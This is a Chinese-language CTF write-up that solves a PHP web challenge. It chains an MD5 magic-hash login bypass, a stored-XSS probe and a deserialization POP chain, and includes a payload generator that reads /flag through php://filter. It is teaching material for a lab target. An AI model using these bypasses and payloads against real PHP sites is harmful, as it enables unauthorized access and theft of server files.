My NoteBook
My Notebookhash碰撞+反序列化+pop链结合解题思路
STEP 1: 分析网站目录与源码
我有一个习惯,拿到web题目第一时间先去扫描目录,看看目录下有没有什么能用的东西或者提示,这边使用dirsearch对目录进行一个扫描分析,得到如图结果:

那么我们可以知道,有一个[www.zip](http://www.zip)可以下载,先去下载看看

解压之后,发现是网站源码。我们访问网站与源码对应:

这是login.php,我们可以打开分析一下:

找到如上关键代码。得知,这里使用post传参方式(就是登录框),需要满足,两个输入框中传入的内容不一样,但是md5值相同。
这里有一个知识点,叫做**哈希碰撞**。由于md5 易受碰撞攻击,可以找到两个不同的字符串具有相同的 MD5。例如,字符串 240610708 和 QNKCDZO 的 MD5 都是0e462097431906509019562988736854(以 "0e" 开头,PHP 弱类型比较时视为科学计数法,会认为其值为0)。因此,输入 check-code-1\=240610708 和 check-code-2\=QNKCDZO 即可满足条件,登录为 admin。
(这里附上一组万能的值 s155964671a s878926199a)
关于哈希碰撞,更多内容:[PHP md5 相等绕过 - Ainsliaea - 博客园](https://www.cnblogs.com/ainsliaea/p/15126218.html)
继续分析,当结束哈希碰撞判断之后,由语句header("Location:index.php")得知login.php会把我们重新定向去index.php,我们继续分析。

最前面有一个login_check.php的引入,这个只是用来判断登陆状态的,检查login_check.php之后并没有发现什么有价值的内容。

随便输入一些内容,点击旁边的按钮,可以发现,刚才输入的内容刚进入了一个列表。分析源码:
得知,当我们点击按钮的时候,会启用一个异步上传函数,将我们刚才输入的值传递到/save.php ,我们继续分析save.php,关键代码如下:

$filename指定了文件输出位置 , file_get_contents("php://input")获取用户输入的原始内容,并且没有观察到任何过滤,最后一行则是以追加而不覆盖的形式写入新的数据,并且数据与数据之间用|分割。
回到index.php,继续分析下方的代码:

这里创建了一个AJAX请求,用于发送HTTP请求,并且在下方调用了xhr.open(…),这是在请求数据,随后在确定响应状态之后进行遍历,用于生成notelist,最后再进行显示。
这里存在一个问题,在res += "<li><span>"+info[i]+"</span></li>";
Info[i]获取到的是笔记内容,并且在没有任何改写的情况下就直接引进了HTML里面,如果我的笔记内容里面包含了HTML代码,就有可能会在这里被执行(XSS注入攻击的一种?留意一下这一点),比如我输入 <script>alert(‘XSS’)</script>
那么得到的结果如图:

可以作为后续的一种思路,不过不着急。我们在这里继续分析其他代码。
进入get.php继续分析。可以发现,在开头的地方引入了mainclass.php这个文件,看标题猜测可能是某种类的定义,

整理一下逻辑:(关于类,对象,文末有单独补充)
类HereWeGo中,首先定义了一个叫$try 的公共属性,之后又定义了一个析构函数 __destruct() ,它将会在对象被销毁时自动调用(在这里需要补充,析构函数的作用。往下翻的补充部分里面有)。$this->try->gogogo(),在获取对象自身的try属性数值,如果这个数值也是个对象,那么调用gogogo()方法,但是显然,方法gogogo()并不存在
类GoGoGo中,首先定义了一个名为$go的公共属性,之后用了一个魔法方法,在对象生成的时候就给他的go属性附上初值$go。同时,如果对象使用了一个不存在的方法,那么则使用__call(),返回的值是对象自生的go属性,之后再用这个“新对象”获取web属性。但是,属性web似乎没有被定义过
类Evil中,定义了$file $final两个公共属性,随后定义魔法方法,再对象创建的时候给file属性赋初值$file。魔法方法,当属性不存在时,定义$result属性,赋初值为对象的file属性。随后的判断,看起来是针对flag的隐藏处理,先把对象的flag属性变成了“HACKER!!!”随后将其写入flag.txt。
好了,接下来回到get.php,分析下面的代码,首先看主程序:

定义对象\$context的内容为空数组(array()),是大概率是字符串形式
对象\$res的值为对象\$context的值传入loadSessionDatas的结果,下面对loadSessionDatas()函数进行分析:

首先定义对象\$filename 赋值为一个路径地址字符串。随后进行了一个 文件是否存在的判断,如果这个写入文件已经存在,会先把局部对象\$res的值赋成/tmp/My-NoteBook.txt的内容,随后定义\$count对象(根据命名规则猜测可能是个计数器)[关于PHP中的count()](https://www.bing.com/search?q=php+count&cvid=0381ec0dc51b4ec08f01d5d867287e25&gs_lcrp=EgRlZGdlKgYIABBFGDkyBggAEEUYOTIGCAEQABhAMgYIAhAAGEAyBggDEAAYQDIGCAQQABhAMgYIBRAAGEAyBggGEAAYQDIGCAcQRRg8MgYICBBFGDzSAQgyNDE5ajBqOagCCLACAQ&FORM=ANAB01&PC=NMTS&mkt=zh-CN)。其内层是explode("|", \$res),这是个php的炸裂函数,作用是将\$res中的所有元素以|作为分割标记,然后输出形式为数组,例如:

那么$count在这里记录的就是文件当中“笔记条目”的个数。但是后面有“-1”,结合后续的遍历代码可得知这是因为对象$i从0开始,而不是1。
在后续遍历中,数组\$total中的每个下标都对应存入了explode函数的切片,可以理解为这一步在存入内容。之后进行了一次是否为序列化的判断 ~~(判断这个的函数在后面,但是我们可以先根据函数名称来猜测一下功能)~~ 。如果刚才存入的内容是序列化的,那么就把刚才存入的内容反序列化(文末会补充,序列化与反序列化)。这就方便我们之后通过构造恶意的序列化文本,来实现攻击。所有的遍历流程结束之后,函数会自动retrun数组\$total的值。~~但如果这个文件一开始不存在,那么会先执行创建文件的操作,并传入空值(这个其实不太重要)~~ 。综上,整个loadSessionData的功能可以简单理解为,将序列化内容存入/tmp/My-NoteBook.txt当中,并在存储时将其反序列化。
~~(~~~~下面关于序列化判断的函数分析我真的不会写,于是我问了问万能的deepseek,勉强看看吧)~~
好的,我来详细分析这个is_serialized() 函数,它用于检测一个字符串是否是PHP序列化格式。
函数功能概述
这个函数检查给定的字符串是否是有效的PHP序列化格式。如果是,返回true;否则返回false。
逐行分析
1. 清理输入
php
$data = trim($data);
- 去除字符串两端的空白字符
2. 检查null值
php
if(‘N;’ == $data)
return true;
- N; 是PHP中null值的序列化格式
- 如果字符串正好是N; ,返回true
3. 检查序列化类型标识
php
if(!preg_match(‘/^([adObis]):/’,$data,$options))
return false;
-
正则表达式匹配序列化格式的开头:
- a: – array(数组)
- d: – double(浮点数)
- O: – object(对象)
- b: – boolean(布尔值)
- i: – integer(整数)
- s: – string(字符串)
-
如果开头没有这些标识,返回false
4. 根据类型进行详细验证
对于数组、对象、字符串(a, O, s):
php
case ‘a’:
case ‘O’:
case ‘s’:
if(preg\_match( "/\^\$options[1]:[0-9]+:.\*[;}]\\\$/s", \$data))
return true;
break;
- 格式要求:类型:长度:内容} 或类型:长度:内容;
- 例如:s:5:"hello"; 或 a:2:{i:0;s:3:"red";i:1;s:4:"blue";}
对于布尔值、整数、浮点数(b, i, d):
php
case ‘b’:
case ‘i’:
case ‘d’:
if(preg_match("/^$options[1]:[0-9.E-]+;\$/",$data))
return true;
break;
- 格式要求:类型:值;
- 例如:b:1; 、i:123; 、d:3.14;
序列化格式示例
| 类型 | PHP值 | 序列化格式 | |||
|---|---|---|---|---|---|
| null | null | N; | |||
| boolean | true | b:1; | |||
| integer | 123 | i:123; | |||
| double | 3.14 | d:3.14; | |||
| string | "hello" | s:5:"hello"; | |||
| array | ["red","blue"] | a:2:{i:0;s:3:"red";i:1;s:4:"blue";} | |||
| object | new Example() | O:7:"Example":0:{} |
程序分析差不多就到这里了
STEP 2: 理清攻击思路+pop链条分析+payload生成
刚才我们已经分析过,作者在mainclass.php中定义了三个类(就像三块特殊的多米诺骨牌):
HereWeGo:析构时(对象被销毁时)会调用$this->try->gogogo()
GoGoGo:当调用不存在的方法(如gogogo)时,会返回$this->go->web
Evil:当访问不存在的属性(如web)时,会读取$this->file的内容并写入flag.txt
因此,要触发写入flag这个攻击的根源,就是要让HereWeGo类下面的对象先销毁。由于当get.php结束运行的时候,对象会自己销毁,所以我们不需要在上面考虑太多。我们只需要在上述三个类之间构建一种特殊的连接关系。
首先第一步,要要定义类Evil下的$step1,让他的file属性指向“/flag”,要触发flag的写入,需要让对象$step1去访问他不存在的属性,观察下图:

可以得知,在这里 GoGoGo的类下面的,在对象调用不存在的方法的时候会去访问web属性,但是web属性并不存在,顺着这个思考,我们不妨把GoGoGo类的对象的go属性赋值为$step1

同样的,当HereWeGo的类被销毁的时候,会尝试去调用一个叫做gogogo的方法,但是这个gogogo()经过观察并不存在。结合我们刚才对$step2的思考,那我们可以在构建$step3的时候,把它的try属性定义成名为$step2的对象。
那么payload大致如下:
$step1 = new Evil();
$step1->file = “/flag”;
$step2 = new GoGoGo();
$step2->go = $step1;
$step3 = new HereWeGo();
$step3->try = $step2;
执行过程如下:
$step3 (HereWeGo) //被销毁的时候执行了析构函数
└── try → \$step2 (GoGoGo) //因为调用了不存在的方法
└── go → \$step1 (Evil) //试图访问不存在的属性
└── file →"/flag" //攻击完成。
现在我们需要构建完整的payload脚本,帮助我们生成序列化字符串,并且绕过之前在分析代码时发现的flag输出过滤,因此我们需要让输出内容变成base64,最后再到本地解密。
<?php
class HereWeGo{
public \$try; //定义try属性
}
class GoGoGo{
public \$go; //定于go属性
public function \_\_construct(\$go){ //这里用了构造方法
\$this-\>go \= \$go;
}
}
class Evil{
public \$file;
public function \_\_construct(\$file){ //这里用了构造方法
\$this-\>file \= \$file;
}
}
// 构造POP链
$step1 = new Evil("php://filter/convert.base64-encode/resource=/flag"); // 构建一个新的对象 step1 并且把他的file属性更改为 flag(这是构造方法)
$step2 = new GoGoGo($step1); // 新建对象 step2 让他的go属性指向对象step1 (php中对象的属性可以是任何东西)
$step3 = new HereWeGo(); // 新建对象 step3
$step3->try = $step2; // 让step的try属性指向类GoGoGo的对象step2
//对象 here: try属性:
// 对象 gogogo: go属性:
// 对象evil: file属性:
// /flag
// 序列化(生成“组装说明书”)
$payload = serialize($step3);
echo $payload;
?>
我们将此生成的序列化字符串输入到文本框中,就得到了base64编码的flag

只需要解码即可。
自此,本体到此结束
帮你理解PHP中的 类 对象 属性 构造方法 魔法方法
简单的理解,类可以被看作是一种模具,这里用现实世界里面生产汽车来解释:
<?php
class car{
public \$color; //设置car这个类的属性 颜色
public \$brand; //设置car这个类的属性 品牌
public function run(){ //设置 car的 方法(也就是功能)
echo”这辆车在行驶“;
}
}
$mycar = new car();//这里我生成了一个叫做mycar的对象,对象前一律加$作为表示
$mycar->color = ‘red’; //给对象 $mycar 设置属性 颜色
$mycar->brand = ‘benz’;//给对象 $mycar 设置属性 品牌
$mycar->run(); //运行功能
上述的例子中,涉及到了类的两个关键要素,分别是属性 对象
class Person {
// 构造方法:出生时自动调用
public function \_\_construct(\$name) {
\$this-\>name \= \$name;
echo "{\$name}诞生了!";
}
// 析构方法:死亡时自动调用
public function \_\_destruct() {
echo "{\$this-\>name}消失了!";
}
}
上面这个例子,则体现了:魔法方法(Magic Methods)可以视作为对象的"自动反应"。构造方法在对象创建时被调用,而析构方法在对象被删除的时候被调用。
这里整理了一些常见的魔法方法的使用:
| 魔法方法 | 什么时候调用 | 例子 | |||
|---|---|---|---|---|---|
| __construct() | new创建对象时 | 对象出生 | |||
| __destruct() | 对象销毁时 | 对象死亡 | |||
| __call() | 调用不存在的方法时 | 方法找不到 | |||
| __get() | 访问不存在的属性时 | 属性找不到 | |||
| __set() | 设置不存在的属性时 | 设置新属性 |
class Magic {
public function \_\_call(\$method, \$args) {
echo "方法{\$method}不存在!";
}
public function \_\_get(\$property) {
echo "属性{\$property}不存在!";
}
}
$obj = new Magic();
$obj->run(); // 输出:方法run不存在!(触发__call)
echo $obj->test; // 输出:属性test不存在!(触发__get)
比如上面这个例子,我们来分析一下,类Magic下面没有定义任何一个属性。所以当我们在尝试给对象$obj设置属性的时候,会找不到属性,类中定义了__get()方法,所以这时候触发了魔法方法__get()。那么同理,当我们在尝试运行$obj->run();的时候,由于我们在类里面没有定义过run()这个方法,所以会触发__call。
顺便补充,如果你看到$this,这是在方法内部调用对象自己的手段,比如:
class Person {
public \$age;
public function sayAge() {
echo "我的年龄是:" . \$this-\>age;
}
}
$xiaoming = new Person();
$xiaoming->age= 19;
$xiaoming->sayAge();
这里我偷个懒,引用一下deepseek(但是个人感觉概括的确实准确):
总结:用一句话理解类
类就像是一个"工厂模具":
- 🏭 类 = 设计图、模具
- 🚗 对象 = 生产出来的具体产品
- 🔧 属性 = 产品的特征(颜色、型号)
- ⚙️ 方法 = 产品的功能(行驶、刹车)
- ⚡ 魔法方法 = 产品的自动反应(报废处理)
记住这个流程:
- 先设计类(制作模具)
- 再用new创建对象(生产产品)
- 通过 -> 使用属性和方法(使用产品)